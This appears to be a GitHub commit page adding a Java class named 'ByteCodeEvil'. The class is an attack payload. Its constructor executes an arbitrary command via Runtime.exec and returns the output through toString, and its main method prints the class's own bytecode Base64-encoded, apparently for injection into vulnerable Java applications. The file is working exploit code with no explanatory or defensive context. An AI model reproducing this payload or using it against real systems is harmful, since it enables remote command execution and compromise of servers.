-
Notifications
You must be signed in to change notification settings - Fork 325
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
30285f7
commit f1053c4
Showing
1 changed file
with
33 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
import java.io.BufferedReader; | ||
import java.io.IOException; | ||
import java.io.InputStream; | ||
import java.io.InputStreamReader; | ||
import java.util.Base64; | ||
|
||
public class ByteCodeEvil { | ||
String res; | ||
|
||
public ByteCodeEvil(String cmd) throws IOException { | ||
StringBuilder stringBuilder = new StringBuilder(); | ||
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); | ||
|
||
String line; | ||
while((line = bufferedReader.readLine()) != null) { | ||
stringBuilder.append(line).append("\n"); | ||
} | ||
|
||
this.res = stringBuilder.toString(); | ||
} | ||
|
||
public String toString() { | ||
return this.res; | ||
} | ||
|
||
public static void main(String[] args) throws IOException { | ||
InputStream inputStream = ByteCodeEvil.class.getClassLoader().getResourceAsStream("ByteCodeEvil.class"); | ||
byte[] bytes = new byte[inputStream.available()]; | ||
inputStream.read(bytes); | ||
String code = Base64.getEncoder().encodeToString(bytes); | ||
System.out.println(code); | ||
} | ||
} |